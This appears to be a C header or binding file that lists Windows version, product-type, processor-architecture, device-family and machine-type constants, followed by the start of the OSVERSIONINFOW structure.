#define _WIN32_WINNT_NT4 0x400
|
||||
#define _WIN32_WINNT_WIN2K 0x500
|
||||
#define _WIN32_WINNT_WINXP 0x501
|
||||
#define _WIN32_WINNT_WS03 0x502
|
||||
#define _WIN32_WINNT_WIN6 0x600
|
||||
#define _WIN32_WINNT_VISTA 0x600
|
||||
#define _WIN32_WINNT_WS08 0x600
|
||||
#define _WIN32_WINNT_LONGHORN 0x600
|
||||
#define _WIN32_WINNT_WIN7 0x601
|
||||
#define _WIN32_WINNT_WIN8 0x602
|
||||
#define _WIN32_WINNT_WINBLUE 0x603
|
||||
#define _WIN32_WINNT_WINTHRESHOLD 0xa00
|
||||
#define _WIN32_WINNT_WIN10 0xa00
|
||||
#define _WIN32_IE_IE20 0x200
|
||||
#define _WIN32_IE_IE30 0x300
|
||||
#define _WIN32_IE_IE302 0x302
|
||||
#define _WIN32_IE_IE40 0x400
|
||||
#define _WIN32_IE_IE401 0x401
|
||||
#define _WIN32_IE_IE50 0x500
|
||||
#define _WIN32_IE_IE501 0x501
|
||||
#define _WIN32_IE_IE55 0x550
|
||||
#define _WIN32_IE_IE60 0x600
|
||||
#define _WIN32_IE_IE60SP1 0x601
|
||||
#define _WIN32_IE_IE60SP2 0x603
|
||||
#define _WIN32_IE_IE70 0x700
|
||||
#define _WIN32_IE_IE80 0x800
|
||||
#define _WIN32_IE_IE90 0x900
|
||||
#define _WIN32_IE_IE100 0xa00
|
||||
#define _WIN32_IE_IE110 0xa00
|
||||
#define _WIN32_IE_NT4 0x200
|
||||
#define _WIN32_IE_NT4SP1 0x200
|
||||
#define _WIN32_IE_NT4SP2 0x200
|
||||
#define _WIN32_IE_NT4SP3 0x302
|
||||
#define _WIN32_IE_NT4SP4 0x401
|
||||
#define _WIN32_IE_NT4SP5 0x401
|
||||
#define _WIN32_IE_NT4SP6 0x500
|
||||
#define _WIN32_IE_WIN98 0x401
|
||||
#define _WIN32_IE_WIN98SE 0x500
|
||||
#define _WIN32_IE_WINME 0x550
|
||||
#define _WIN32_IE_WIN2K 0x501
|
||||
#define _WIN32_IE_WIN2KSP1 0x501
|
||||
#define _WIN32_IE_WIN2KSP2 0x501
|
||||
#define _WIN32_IE_WIN2KSP3 0x501
|
||||
#define _WIN32_IE_WIN2KSP4 0x501
|
||||
#define _WIN32_IE_XP 0x600
|
||||
#define _WIN32_IE_XPSP1 0x601
|
||||
#define _WIN32_IE_XPSP2 0x603
|
||||
#define _WIN32_IE_WS03 0x602
|
||||
#define _WIN32_IE_WS03SP1 0x603
|
||||
#define _WIN32_IE_WIN6 0x700
|
||||
#define _WIN32_IE_LONGHORN 0x700
|
||||
#define _WIN32_IE_WIN7 0x800
|
||||
#define _WIN32_IE_WIN8 0xa00
|
||||
#define _WIN32_IE_WINBLUE 0xa00
|
||||
#define _WIN32_IE_WINTHRESHOLD 0xa00
|
||||
#define _WIN32_IE_WIN10 0xa00
|
||||
#define NTDDI_WIN4 0x4000000
|
||||
#define NTDDI_WIN2KSP1 0x5000100
|
||||
#define NTDDI_WIN2KSP2 0x5000200
|
||||
#define NTDDI_WIN2KSP3 0x5000300
|
||||
#define NTDDI_WIN2KSP4 0x5000400
|
||||
#define NTDDI_WINXPSP1 0x5010100
|
||||
#define NTDDI_WINXPSP3 0x5010300
|
||||
#define NTDDI_WINXPSP4 0x5010400
|
||||
#define NTDDI_WS03 0x5020000
|
||||
#define NTDDI_WS03SP2 0x5020200
|
||||
#define NTDDI_WS03SP3 0x5020300
|
||||
#define NTDDI_WS03SP4 0x5020400
|
||||
#define NTDDI_WIN6 0x6000000
|
||||
#define NTDDI_WIN6SP1 0x6000100
|
||||
#define NTDDI_WIN6SP2 0x6000200
|
||||
#define NTDDI_WIN6SP3 0x6000300
|
||||
#define NTDDI_WIN6SP4 0x6000400
|
||||
#define NTDDI_VISTASP2 0x6000200
|
||||
#define NTDDI_VISTASP3 0x6000300
|
||||
#define NTDDI_VISTASP4 0x6000400
|
||||
#define NTDDI_LONGHORN 0x6000000
|
||||
#define NTDDI_WS08 0x6000100
|
||||
#define NTDDI_WS08SP2 0x6000200
|
||||
#define NTDDI_WS08SP3 0x6000300
|
||||
#define NTDDI_WS08SP4 0x6000400
|
||||
#define NTDDI_WIN10 0xa000000
|
||||
#define NTDDI_WIN10_TH2 0xa000001
|
||||
#define NTDDI_WIN10_RS1 0xa000002
|
||||
#define NTDDI_WIN10_RS2 0xa000003
|
||||
#define NTDDI_WIN10_RS3 0xa000004
|
||||
#define NTDDI_WIN10_RS4 0xa000005
|
||||
#define NTDDI_WIN10_RS5 0xa000006
|
||||
#define NTDDI_WIN10_19H1 0xa000007
|
||||
#define NTDDI_WIN10_VB 0xa000008
|
||||
#define NTDDI_WIN10_MN 0xa000009
|
||||
#define NTDDI_WIN10_FE 0xa00000a
|
||||
#define NTDDI_WIN10_CO 0xa00000b
|
||||
#define NTDDI_WIN10_NI 0xa00000c
|
||||
#define NTDDI_WIN10_CU 0xa00000d
|
||||
#define NTDDI_WIN11_ZN 0xa00000e
|
||||
#define NTDDI_WIN11_GA 0xa00000f
|
||||
#define NTDDI_WIN11_GE 0xa000010
|
||||
#define WDK_NTDDI_VERSION 0xa000010
|
||||
#define OSVERSION_MASK 0xffff0000
|
||||
#define SPVERSION_MASK 0xff00
|
||||
#define SUBVERSION_MASK 0xff
|
||||
#define NTDDI_VERSION 0xa000010
|
||||
#define SCEX2_ALT_NETBIOS_NAME 0x1
|
||||
#define DEVICEFAMILYINFOENUM_UAP 0x0
|
||||
#define DEVICEFAMILYINFOENUM_WINDOWS_8X 0x1
|
||||
#define DEVICEFAMILYINFOENUM_WINDOWS_PHONE_8X 0x2
|
||||
#define DEVICEFAMILYINFOENUM_DESKTOP 0x3
|
||||
#define DEVICEFAMILYINFOENUM_MOBILE 0x4
|
||||
#define DEVICEFAMILYINFOENUM_XBOX 0x5
|
||||
#define DEVICEFAMILYINFOENUM_TEAM 0x6
|
||||
#define DEVICEFAMILYINFOENUM_IOT 0x7
|
||||
#define DEVICEFAMILYINFOENUM_IOT_HEADLESS 0x8
|
||||
#define DEVICEFAMILYINFOENUM_SERVER 0x9
|
||||
#define DEVICEFAMILYINFOENUM_HOLOGRAPHIC 0xa
|
||||
#define DEVICEFAMILYINFOENUM_XBOXSRA 0xb
|
||||
#define DEVICEFAMILYINFOENUM_XBOXERA 0xc
|
||||
#define DEVICEFAMILYINFOENUM_SERVER_NANO 0xd
|
||||
#define DEVICEFAMILYINFOENUM_8828080 0xe
|
||||
#define DEVICEFAMILYINFOENUM_7067329 0xf
|
||||
#define DEVICEFAMILYINFOENUM_WINDOWS_CORE 0x10
|
||||
#define DEVICEFAMILYINFOENUM_WINDOWS_CORE_HEADLESS 0x11
|
||||
#define DEVICEFAMILYINFOENUM_MAX 0x11
|
||||
#define IMAGE_FILE_MACHINE_AXP64 0x284
|
||||
#define IMAGE_FILE_MACHINE_I386 0x14c
|
||||
#define IMAGE_FILE_MACHINE_IA64 0x200
|
||||
#define IMAGE_FILE_MACHINE_AMD64 0x8664
|
||||
#define IMAGE_FILE_MACHINE_UNKNOWN 0x0
|
||||
#define IMAGE_FILE_MACHINE_TARGET_HOST 0x1
|
||||
#define IMAGE_FILE_MACHINE_R3000 0x162
|
||||
#define IMAGE_FILE_MACHINE_R4000 0x166
|
||||
#define IMAGE_FILE_MACHINE_R10000 0x168
|
||||
#define IMAGE_FILE_MACHINE_WCEMIPSV2 0x169
|
||||
#define IMAGE_FILE_MACHINE_ALPHA 0x184
|
||||
#define IMAGE_FILE_MACHINE_SH3 0x1a2
|
||||
#define IMAGE_FILE_MACHINE_SH3DSP 0x1a3
|
||||
#define IMAGE_FILE_MACHINE_SH3E 0x1a4
|
||||
#define IMAGE_FILE_MACHINE_SH4 0x1a6
|
||||
#define IMAGE_FILE_MACHINE_SH5 0x1a8
|
||||
#define IMAGE_FILE_MACHINE_ARM 0x1c0
|
||||
#define IMAGE_FILE_MACHINE_THUMB 0x1c2
|
||||
#define IMAGE_FILE_MACHINE_ARMNT 0x1c4
|
||||
#define IMAGE_FILE_MACHINE_AM33 0x1d3
|
||||
#define IMAGE_FILE_MACHINE_POWERPC 0x1f0
|
||||
#define IMAGE_FILE_MACHINE_POWERPCFP 0x1f1
|
||||
#define IMAGE_FILE_MACHINE_MIPS16 0x266
|
||||
#define IMAGE_FILE_MACHINE_ALPHA64 0x284
|
||||
#define IMAGE_FILE_MACHINE_MIPSFPU 0x366
|
||||
#define IMAGE_FILE_MACHINE_MIPSFPU16 0x466
|
||||
#define IMAGE_FILE_MACHINE_TRICORE 0x520
|
||||
#define IMAGE_FILE_MACHINE_CEF 0xcef
|
||||
#define IMAGE_FILE_MACHINE_EBC 0xebc
|
||||
#define IMAGE_FILE_MACHINE_M32R 0x9041
|
||||
#define IMAGE_FILE_MACHINE_ARM64 0xaa64
|
||||
#define IMAGE_FILE_MACHINE_CEE 0xc0ee
|
||||
#define OS_DEPLOYMENT_STANDARD 1
|
||||
#define OS_DEPLOYMENT_COMPACT 2
|
||||
#define CacheUnified 0
|
||||
#define CacheInstruction 1
|
||||
#define CacheData 2
|
||||
#define CacheTrace 3
|
||||
#define CacheUnknown 4
|
||||
#define USER_CET_ENVIRONMENT_WIN32_PROCESS 0x0
|
||||
#define USER_CET_ENVIRONMENT_SGX2_ENCLAVE 0x2
|
||||
#define USER_CET_ENVIRONMENT_VBS_ENCLAVE 0x10
|
||||
#define USER_CET_ENVIRONMENT_VBS_BASIC_ENCLAVE 0x11
|
||||
#define GlobalDataIdUnknown 0
|
||||
#define GlobalDataIdRngSeedVersion 1
|
||||
#define GlobalDataIdInterruptTime 2
|
||||
#define GlobalDataIdTimeZoneBias 3
|
||||
#define GlobalDataIdImageNumberLow 4
|
||||
#define GlobalDataIdImageNumberHigh 5
|
||||
#define GlobalDataIdTimeZoneId 6
|
||||
#define GlobalDataIdNtMajorVersion 7
|
||||
#define GlobalDataIdNtMinorVersion 8
|
||||
#define GlobalDataIdSystemExpirationDate 9
|
||||
#define GlobalDataIdKdDebuggerEnabled 10
|
||||
#define GlobalDataIdCyclesPerYield 11
|
||||
#define GlobalDataIdSafeBootMode 12
|
||||
#define GlobalDataIdLastSystemRITEventTickCount 13
|
||||
#define GlobalDataIdConsoleSharedDataFlags 14
|
||||
#define GlobalDataIdNtSystemRootDrive 15
|
||||
#define GlobalDataIdQpcBypassEnabled 16
|
||||
#define GlobalDataIdQpcData 17
|
||||
#define GlobalDataIdQpcBias 18
|
||||
#define DEVICEFAMILYDEVICEFORM_UNKNOWN 0x0
|
||||
#define DEVICEFAMILYDEVICEFORM_PHONE 0x1
|
||||
#define DEVICEFAMILYDEVICEFORM_TABLET 0x2
|
||||
#define DEVICEFAMILYDEVICEFORM_DESKTOP 0x3
|
||||
#define DEVICEFAMILYDEVICEFORM_NOTEBOOK 0x4
|
||||
#define DEVICEFAMILYDEVICEFORM_CONVERTIBLE 0x5
|
||||
#define DEVICEFAMILYDEVICEFORM_DETACHABLE 0x6
|
||||
#define DEVICEFAMILYDEVICEFORM_ALLINONE 0x7
|
||||
#define DEVICEFAMILYDEVICEFORM_STICKPC 0x8
|
||||
#define DEVICEFAMILYDEVICEFORM_PUCK 0x9
|
||||
#define DEVICEFAMILYDEVICEFORM_LARGESCREEN 0xa
|
||||
#define DEVICEFAMILYDEVICEFORM_HMD 0xb
|
||||
#define DEVICEFAMILYDEVICEFORM_INDUSTRY_HANDHELD 0xc
|
||||
#define DEVICEFAMILYDEVICEFORM_INDUSTRY_TABLET 0xd
|
||||
#define DEVICEFAMILYDEVICEFORM_BANKING 0xe
|
||||
#define DEVICEFAMILYDEVICEFORM_BUILDING_AUTOMATION 0xf
|
||||
#define DEVICEFAMILYDEVICEFORM_DIGITAL_SIGNAGE 0x10
|
||||
#define DEVICEFAMILYDEVICEFORM_GAMING 0x11
|
||||
#define DEVICEFAMILYDEVICEFORM_HOME_AUTOMATION 0x12
|
||||
#define DEVICEFAMILYDEVICEFORM_INDUSTRIAL_AUTOMATION 0x13
|
||||
#define DEVICEFAMILYDEVICEFORM_KIOSK 0x14
|
||||
#define DEVICEFAMILYDEVICEFORM_MAKER_BOARD 0x15
|
||||
#define DEVICEFAMILYDEVICEFORM_MEDICAL 0x16
|
||||
#define DEVICEFAMILYDEVICEFORM_NETWORKING 0x17
|
||||
#define DEVICEFAMILYDEVICEFORM_POINT_OF_SERVICE 0x18
|
||||
#define DEVICEFAMILYDEVICEFORM_PRINTING 0x19
|
||||
#define DEVICEFAMILYDEVICEFORM_THIN_CLIENT 0x1a
|
||||
#define DEVICEFAMILYDEVICEFORM_TOY 0x1b
|
||||
#define DEVICEFAMILYDEVICEFORM_VENDING 0x1c
|
||||
#define DEVICEFAMILYDEVICEFORM_INDUSTRY_OTHER 0x1d
|
||||
#define DEVICEFAMILYDEVICEFORM_XBOX_ONE 0x1e
|
||||
#define DEVICEFAMILYDEVICEFORM_XBOX_ONE_S 0x1f
|
||||
#define DEVICEFAMILYDEVICEFORM_XBOX_ONE_X 0x20
|
||||
#define DEVICEFAMILYDEVICEFORM_XBOX_ONE_X_DEVKIT 0x21
|
||||
#define DEVICEFAMILYDEVICEFORM_XBOX_SERIES_X 0x22
|
||||
#define DEVICEFAMILYDEVICEFORM_XBOX_SERIES_X_DEVKIT 0x23
|
||||
#define DEVICEFAMILYDEVICEFORM_XBOX_SERIES_S 0x24
|
||||
#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_01 0x25
|
||||
#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_02 0x26
|
||||
#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_03 0x27
|
||||
#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_04 0x28
|
||||
#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_05 0x29
|
||||
#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_06 0x2a
|
||||
#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_07 0x2b
|
||||
#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_08 0x2c
|
||||
#define DEVICEFAMILYDEVICEFORM_XBOX_RESERVED_09 0x2d
|
||||
#define DEVICEFAMILYDEVICEFORM_GAMING_HANDHELD 0x2e
|
||||
#define DEVICEFAMILYDEVICEFORM_GAMING_CONSOLE 0x2f
|
||||
#define DEVICEFAMILYDEVICEFORM_MAX 0x2f
|
||||
#define ComputerNameNetBIOS 0
|
||||
#define ComputerNameDnsHostname 1
|
||||
#define ComputerNameDnsDomain 2
|
||||
#define ComputerNameDnsFullyQualified 3
|
||||
#define ComputerNamePhysicalNetBIOS 4
|
||||
#define ComputerNamePhysicalDnsHostname 5
|
||||
#define ComputerNamePhysicalDnsDomain 6
|
||||
#define ComputerNamePhysicalDnsFullyQualified 7
|
||||
#define ComputerNameMax 8
|
||||
#define PROCESSOR_ARCHITECTURE_INTEL 0x0
|
||||
#define PROCESSOR_ARCHITECTURE_MIPS 0x1
|
||||
#define PROCESSOR_ARCHITECTURE_ALPHA 0x2
|
||||
#define PROCESSOR_ARCHITECTURE_PPC 0x3
|
||||
#define PROCESSOR_ARCHITECTURE_SHX 0x4
|
||||
#define PROCESSOR_ARCHITECTURE_ARM 0x5
|
||||
#define PROCESSOR_ARCHITECTURE_IA64 0x6
|
||||
#define PROCESSOR_ARCHITECTURE_ALPHA64 0x7
|
||||
#define PROCESSOR_ARCHITECTURE_MSIL 0x8
|
||||
#define PROCESSOR_ARCHITECTURE_AMD64 0x9
|
||||
#define PROCESSOR_ARCHITECTURE_IA32_ON_WIN64 0xa
|
||||
#define PROCESSOR_ARCHITECTURE_NEUTRAL 0xb
|
||||
#define PROCESSOR_ARCHITECTURE_ARM64 0xc
|
||||
#define PROCESSOR_ARCHITECTURE_ARM32_ON_WIN64 0xd
|
||||
#define PROCESSOR_ARCHITECTURE_IA32_ON_ARM64 0xe
|
||||
#define PROCESSOR_ARCHITECTURE_UNKNOWN 0xffff
|
||||
#define VER_MINORVERSION 0x1
|
||||
#define VER_MAJORVERSION 0x2
|
||||
#define VER_BUILDNUMBER 0x4
|
||||
#define VER_PLATFORMID 0x8
|
||||
#define VER_SERVICEPACKMINOR 0x10
|
||||
#define VER_SERVICEPACKMAJOR 0x20
|
||||
#define VER_SUITENAME 0x40
|
||||
#define VER_PRODUCT_TYPE 0x80
|
||||
#define ACPI 0x41435049
|
||||
#define FIRM 0x4649524d
|
||||
#define RSMB 0x52534d42
|
||||
#define RelationProcessorCore 0
|
||||
#define RelationNumaNode 1
|
||||
#define RelationCache 2
|
||||
#define RelationProcessorPackage 3
|
||||
#define RelationGroup 4
|
||||
#define RelationProcessorDie 5
|
||||
#define RelationNumaNodeEx 6
|
||||
#define RelationProcessorModule 7
|
||||
#define RelationAll 65535
|
||||
#define DEPPolicyAlwaysOff 0
|
||||
#define DEPPolicyAlwaysOn 1
|
||||
#define DEPPolicyOptIn 2
|
||||
#define DEPPolicyOptOut 3
|
||||
#define DEPTotalPolicyCount 4
|
||||
#define DeveloperDriveEnablementStateError 0
|
||||
#define DeveloperDriveEnabled 1
|
||||
#define DeveloperDriveDisabledBySystemPolicy 2
|
||||
#define DeveloperDriveDisabledByGroupPolicy 3
|
||||
#define FirmwareTypeUnknown 0
|
||||
#define FirmwareTypeBios 1
|
||||
#define FirmwareTypeUefi 2
|
||||
#define FirmwareTypeMax 3
|
||||
#define PRODUCT_UNDEFINED 0x0
|
||||
#define PRODUCT_ULTIMATE 0x1
|
||||
#define PRODUCT_HOME_BASIC 0x2
|
||||
#define PRODUCT_HOME_PREMIUM 0x3
|
||||
#define PRODUCT_ENTERPRISE 0x4
|
||||
#define PRODUCT_HOME_BASIC_N 0x5
|
||||
#define PRODUCT_BUSINESS 0x6
|
||||
#define PRODUCT_STANDARD_SERVER 0x7
|
||||
#define PRODUCT_DATACENTER_SERVER 0x8
|
||||
#define PRODUCT_SMALLBUSINESS_SERVER 0x9
|
||||
#define PRODUCT_ENTERPRISE_SERVER 0xa
|
||||
#define PRODUCT_STARTER 0xb
|
||||
#define PRODUCT_DATACENTER_SERVER_CORE 0xc
|
||||
#define PRODUCT_STANDARD_SERVER_CORE 0xd
|
||||
#define PRODUCT_ENTERPRISE_SERVER_CORE 0xe
|
||||
#define PRODUCT_ENTERPRISE_SERVER_IA64 0xf
|
||||
#define PRODUCT_BUSINESS_N 0x10
|
||||
#define PRODUCT_WEB_SERVER 0x11
|
||||
#define PRODUCT_CLUSTER_SERVER 0x12
|
||||
#define PRODUCT_HOME_SERVER 0x13
|
||||
#define PRODUCT_STORAGE_EXPRESS_SERVER 0x14
|
||||
#define PRODUCT_STORAGE_STANDARD_SERVER 0x15
|
||||
#define PRODUCT_STORAGE_WORKGROUP_SERVER 0x16
|
||||
#define PRODUCT_STORAGE_ENTERPRISE_SERVER 0x17
|
||||
#define PRODUCT_SERVER_FOR_SMALLBUSINESS 0x18
|
||||
#define PRODUCT_SMALLBUSINESS_SERVER_PREMIUM 0x19
|
||||
#define PRODUCT_HOME_PREMIUM_N 0x1a
|
||||
#define PRODUCT_ENTERPRISE_N 0x1b
|
||||
#define PRODUCT_ULTIMATE_N 0x1c
|
||||
#define PRODUCT_WEB_SERVER_CORE 0x1d
|
||||
#define PRODUCT_MEDIUMBUSINESS_SERVER_MANAGEMENT 0x1e
|
||||
#define PRODUCT_MEDIUMBUSINESS_SERVER_SECURITY 0x1f
|
||||
#define PRODUCT_MEDIUMBUSINESS_SERVER_MESSAGING 0x20
|
||||
#define PRODUCT_SERVER_FOUNDATION 0x21
|
||||
#define PRODUCT_HOME_PREMIUM_SERVER 0x22
|
||||
#define PRODUCT_SERVER_FOR_SMALLBUSINESS_V 0x23
|
||||
#define PRODUCT_STANDARD_SERVER_V 0x24
|
||||
#define PRODUCT_DATACENTER_SERVER_V 0x25
|
||||
#define PRODUCT_ENTERPRISE_SERVER_V 0x26
|
||||
#define PRODUCT_DATACENTER_SERVER_CORE_V 0x27
|
||||
#define PRODUCT_STANDARD_SERVER_CORE_V 0x28
|
||||
#define PRODUCT_ENTERPRISE_SERVER_CORE_V 0x29
|
||||
#define PRODUCT_HYPERV 0x2a
|
||||
#define PRODUCT_STORAGE_EXPRESS_SERVER_CORE 0x2b
|
||||
#define PRODUCT_STORAGE_STANDARD_SERVER_CORE 0x2c
|
||||
#define PRODUCT_STORAGE_WORKGROUP_SERVER_CORE 0x2d
|
||||
#define PRODUCT_STORAGE_ENTERPRISE_SERVER_CORE 0x2e
|
||||
#define PRODUCT_STARTER_N 0x2f
|
||||
#define PRODUCT_PROFESSIONAL 0x30
|
||||
#define PRODUCT_PROFESSIONAL_N 0x31
|
||||
#define PRODUCT_SB_SOLUTION_SERVER 0x32
|
||||
#define PRODUCT_SERVER_FOR_SB_SOLUTIONS 0x33
|
||||
#define PRODUCT_STANDARD_SERVER_SOLUTIONS 0x34
|
||||
#define PRODUCT_STANDARD_SERVER_SOLUTIONS_CORE 0x35
|
||||
#define PRODUCT_SB_SOLUTION_SERVER_EM 0x36
|
||||
#define PRODUCT_SERVER_FOR_SB_SOLUTIONS_EM 0x37
|
||||
#define PRODUCT_SOLUTION_EMBEDDEDSERVER 0x38
|
||||
#define PRODUCT_SOLUTION_EMBEDDEDSERVER_CORE 0x39
|
||||
#define PRODUCT_PROFESSIONAL_EMBEDDED 0x3a
|
||||
#define PRODUCT_ESSENTIALBUSINESS_SERVER_MGMT 0x3b
|
||||
#define PRODUCT_ESSENTIALBUSINESS_SERVER_ADDL 0x3c
|
||||
#define PRODUCT_ESSENTIALBUSINESS_SERVER_MGMTSVC 0x3d
|
||||
#define PRODUCT_ESSENTIALBUSINESS_SERVER_ADDLSVC 0x3e
|
||||
#define PRODUCT_SMALLBUSINESS_SERVER_PREMIUM_CORE 0x3f
|
||||
#define PRODUCT_CLUSTER_SERVER_V 0x40
|
||||
#define PRODUCT_EMBEDDED 0x41
|
||||
#define PRODUCT_STARTER_E 0x42
|
||||
#define PRODUCT_HOME_BASIC_E 0x43
|
||||
#define PRODUCT_HOME_PREMIUM_E 0x44
|
||||
#define PRODUCT_PROFESSIONAL_E 0x45
|
||||
#define PRODUCT_ENTERPRISE_E 0x46
|
||||
#define PRODUCT_ULTIMATE_E 0x47
|
||||
#define PRODUCT_ENTERPRISE_EVALUATION 0x48
|
||||
#define PRODUCT_MULTIPOINT_STANDARD_SERVER 0x4c
|
||||
#define PRODUCT_MULTIPOINT_PREMIUM_SERVER 0x4d
|
||||
#define PRODUCT_STANDARD_EVALUATION_SERVER 0x4f
|
||||
#define PRODUCT_DATACENTER_EVALUATION_SERVER 0x50
|
||||
#define PRODUCT_ENTERPRISE_N_EVALUATION 0x54
|
||||
#define PRODUCT_EMBEDDED_AUTOMOTIVE 0x55
|
||||
#define PRODUCT_EMBEDDED_INDUSTRY_A 0x56
|
||||
#define PRODUCT_THINPC 0x57
|
||||
#define PRODUCT_EMBEDDED_A 0x58
|
||||
#define PRODUCT_EMBEDDED_INDUSTRY 0x59
|
||||
#define PRODUCT_EMBEDDED_E 0x5a
|
||||
#define PRODUCT_EMBEDDED_INDUSTRY_E 0x5b
|
||||
#define PRODUCT_EMBEDDED_INDUSTRY_A_E 0x5c
|
||||
#define PRODUCT_STORAGE_WORKGROUP_EVALUATION_SERVER 0x5f
|
||||
#define PRODUCT_STORAGE_STANDARD_EVALUATION_SERVER 0x60
|
||||
#define PRODUCT_CORE_ARM 0x61
|
||||
#define PRODUCT_CORE_N 0x62
|
||||
#define PRODUCT_CORE_COUNTRYSPECIFIC 0x63
|
||||
#define PRODUCT_CORE_SINGLELANGUAGE 0x64
|
||||
#define PRODUCT_CORE 0x65
|
||||
#define PRODUCT_PROFESSIONAL_WMC 0x67
|
||||
#define PRODUCT_EMBEDDED_INDUSTRY_EVAL 0x69
|
||||
#define PRODUCT_EMBEDDED_INDUSTRY_E_EVAL 0x6a
|
||||
#define PRODUCT_EMBEDDED_EVAL 0x6b
|
||||
#define PRODUCT_EMBEDDED_E_EVAL 0x6c
|
||||
#define PRODUCT_NANO_SERVER 0x6d
|
||||
#define PRODUCT_CLOUD_STORAGE_SERVER 0x6e
|
||||
#define PRODUCT_CORE_CONNECTED 0x6f
|
||||
#define PRODUCT_PROFESSIONAL_STUDENT 0x70
|
||||
#define PRODUCT_CORE_CONNECTED_N 0x71
|
||||
#define PRODUCT_PROFESSIONAL_STUDENT_N 0x72
|
||||
#define PRODUCT_CORE_CONNECTED_SINGLELANGUAGE 0x73
|
||||
#define PRODUCT_CORE_CONNECTED_COUNTRYSPECIFIC 0x74
|
||||
#define PRODUCT_CONNECTED_CAR 0x75
|
||||
#define PRODUCT_INDUSTRY_HANDHELD 0x76
|
||||
#define PRODUCT_PPI_PRO 0x77
|
||||
#define PRODUCT_ARM64_SERVER 0x78
|
||||
#define PRODUCT_EDUCATION 0x79
|
||||
#define PRODUCT_EDUCATION_N 0x7a
|
||||
#define PRODUCT_IOTUAP 0x7b
|
||||
#define PRODUCT_CLOUD_HOST_INFRASTRUCTURE_SERVER 0x7c
|
||||
#define PRODUCT_ENTERPRISE_S 0x7d
|
||||
#define PRODUCT_ENTERPRISE_S_N 0x7e
|
||||
#define PRODUCT_PROFESSIONAL_S 0x7f
|
||||
#define PRODUCT_PROFESSIONAL_S_N 0x80
|
||||
#define PRODUCT_ENTERPRISE_S_EVALUATION 0x81
|
||||
#define PRODUCT_ENTERPRISE_S_N_EVALUATION 0x82
|
||||
#define PRODUCT_HOLOGRAPHIC 0x87
|
||||
#define PRODUCT_HOLOGRAPHIC_BUSINESS 0x88
|
||||
#define PRODUCT_PRO_SINGLE_LANGUAGE 0x8a
|
||||
#define PRODUCT_PRO_CHINA 0x8b
|
||||
#define PRODUCT_ENTERPRISE_SUBSCRIPTION 0x8c
|
||||
#define PRODUCT_ENTERPRISE_SUBSCRIPTION_N 0x8d
|
||||
#define PRODUCT_DATACENTER_NANO_SERVER 0x8f
|
||||
#define PRODUCT_STANDARD_NANO_SERVER 0x90
|
||||
#define PRODUCT_DATACENTER_A_SERVER_CORE 0x91
|
||||
#define PRODUCT_STANDARD_A_SERVER_CORE 0x92
|
||||
#define PRODUCT_DATACENTER_WS_SERVER_CORE 0x93
|
||||
#define PRODUCT_STANDARD_WS_SERVER_CORE 0x94
|
||||
#define PRODUCT_UTILITY_VM 0x95
|
||||
#define PRODUCT_DATACENTER_EVALUATION_SERVER_CORE 0x9f
|
||||
#define PRODUCT_STANDARD_EVALUATION_SERVER_CORE 0xa0
|
||||
#define PRODUCT_PRO_WORKSTATION 0xa1
|
||||
#define PRODUCT_PRO_WORKSTATION_N 0xa2
|
||||
#define PRODUCT_PRO_FOR_EDUCATION 0xa4
|
||||
#define PRODUCT_PRO_FOR_EDUCATION_N 0xa5
|
||||
#define PRODUCT_AZURE_SERVER_CORE 0xa8
|
||||
#define PRODUCT_AZURE_NANO_SERVER 0xa9
|
||||
#define PRODUCT_ENTERPRISEG 0xab
|
||||
#define PRODUCT_ENTERPRISEGN 0xac
|
||||
#define PRODUCT_SERVERRDSH 0xaf
|
||||
#define PRODUCT_CLOUD 0xb2
|
||||
#define PRODUCT_CLOUDN 0xb3
|
||||
#define PRODUCT_HUBOS 0xb4
|
||||
#define PRODUCT_ONECOREUPDATEOS 0xb6
|
||||
#define PRODUCT_CLOUDE 0xb7
|
||||
#define PRODUCT_IOTOS 0xb9
|
||||
#define PRODUCT_CLOUDEN 0xba
|
||||
#define PRODUCT_IOTEDGEOS 0xbb
|
||||
#define PRODUCT_IOTENTERPRISE 0xbc
|
||||
#define PRODUCT_LITE 0xbd
|
||||
#define PRODUCT_IOTENTERPRISES 0xbf
|
||||
#define PRODUCT_XBOX_SYSTEMOS 0xc0
|
||||
#define PRODUCT_XBOX_GAMEOS 0xc2
|
||||
#define PRODUCT_XBOX_ERAOS 0xc3
|
||||
#define PRODUCT_XBOX_DURANGOHOSTOS 0xc4
|
||||
#define PRODUCT_XBOX_SCARLETTHOSTOS 0xc5
|
||||
#define PRODUCT_XBOX_KEYSTONE 0xc6
|
||||
#define PRODUCT_AZURE_SERVER_CLOUDHOST 0xc7
|
||||
#define PRODUCT_AZURE_SERVER_CLOUDMOS 0xc8
|
||||
#define PRODUCT_CLOUDEDITIONN 0xca
|
||||
#define PRODUCT_CLOUDEDITION 0xcb
|
||||
#define PRODUCT_VALIDATION 0xcc
|
||||
#define PRODUCT_IOTENTERPRISESK 0xcd
|
||||
#define PRODUCT_IOTENTERPRISEK 0xce
|
||||
#define PRODUCT_IOTENTERPRISESEVAL 0xcf
|
||||
#define PRODUCT_AZURE_SERVER_AGENTBRIDGE 0xd0
|
||||
#define PRODUCT_AZURE_SERVER_NANOHOST 0xd1
|
||||
#define PRODUCT_WNC 0xd2
|
||||
#define PRODUCT_AZURESTACKHCI_SERVER_CORE 0x196
|
||||
#define PRODUCT_DATACENTER_SERVER_AZURE_EDITION 0x197
|
||||
#define PRODUCT_DATACENTER_SERVER_CORE_AZURE_EDITION 0x198
|
||||
#define PRODUCT_DATACENTER_WS_SERVER_CORE_AZURE_EDITION 0x199
|
||||
#define PRODUCT_UNLICENSED 0xabcdabcd
|
||||
#define CpuSetInformation 0
|
||||
|
||||
typedef struct _SYSTEM_POOL_ZEROING_INFORMATION {
|
||||
BOOL PoolZeroingSupportPresent;
|
||||
} SYSTEM_POOL_ZEROING_INFORMATION;
|
||||
|
||||
typedef struct _OSVERSIONINFOW {
|
||||
unsigned int dwOSVersionInfoSize;
|
||||
unsigned int dwMajorVersion;
|
||||
unsigned int dwMinorVersion;
|
||||
unsigned int dwBuildNumber;
|
||||
unsigned int dwPlatformId;
|
||||
unsigned short szCSDVersion[128];
|
||||
